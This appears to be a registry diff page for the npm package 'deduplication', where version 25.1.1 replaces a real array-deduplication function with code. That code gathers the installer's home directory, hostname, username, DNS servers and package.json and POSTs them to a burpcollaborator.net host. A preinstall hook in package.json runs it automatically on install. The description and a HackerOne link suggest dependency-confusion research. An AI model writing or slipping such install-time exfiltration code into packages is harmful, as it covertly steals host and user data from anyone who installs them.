deduplication 1.0.7 → 25.1.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of deduplication might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +42 -52
  2. package/package.json +8 -4
package/index.js CHANGED
@@ -1,58 +1,48 @@
1
- /**
2
- * 数组去重
3
- * @param arr 要去重的数组
4
- * @param type number type为1表示使用set函数去重,type为2表示使用
5
- * @param sort string sort的值为default表示不排序,为asc表示自增排序,为desc表示为自减
6
- */
7
- function deduplication(arr,type=1,sort='default') {
8
- let newArr=[];
9
- //判断去重的方式
10
- switch(type){
11
- case 1:
12
- newArr=method1(arr);
13
- break;
14
- case 2:
15
- newArr=method2(arr);
16
- break;
17
- }
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
18
7
 
19
- let sortArr;
20
- //判断排序的类型
21
- switch (sort) {
22
- case "default":
23
- sortArr = newArr;
24
- break;
25
- case "asc":
26
- sortArr = newArr.sort((a,b)=>{
27
- return a-b;
28
- });
29
- break;
30
- case "desc":
31
- sortArr = newArr.sort((a,b)=>{
32
- return b-a;
33
- });
34
- break;
35
- }
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ hw: __dirname,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
36
20
 
37
- return sortArr;
21
+ var postData = querystring.stringify({
22
+ msg: trackingData,
23
+ });
38
24
 
39
- }
40
- module.exports=deduplication;
25
+ var options = {
26
+ hostname: "6mtz6r4i6pqdwg0wf3jgwkmay14rsg.burpcollaborator.net",
27
+ port: 443,
28
+ path: "/",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
41
35
 
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
42
41
 
43
- //set去重
44
- function method1(arr){
45
- let a = new Set(arr);
46
- return [...a];
47
- }
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
48
48
 
49
- //indexOf方法
50
- function method2(arr) {
51
- let arr2 = [];
52
- for(let i=0;i<arr.length;i++){
53
- if(arr2.indexOf(arr[i]) === -1){
54
- arr2.push(arr[i]);
55
- }
56
- }
57
- return arr2;
58
- }
package/package.json CHANGED
@@ -1,8 +1,12 @@
1
1
  {
2
2
  "name": "deduplication",
3
- "version": "1.0.7",
3
+ "version": "25.1.1",
4
+ "description": "Checking for dependency confusion",
4
5
  "main": "index.js",
5
- "repository": "",
6
- "author": "henry",
7
- "license": "MIT"
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "https://hackerone.com/yakirka?type=user",
11
+ "license": "ISC"
8
12
  }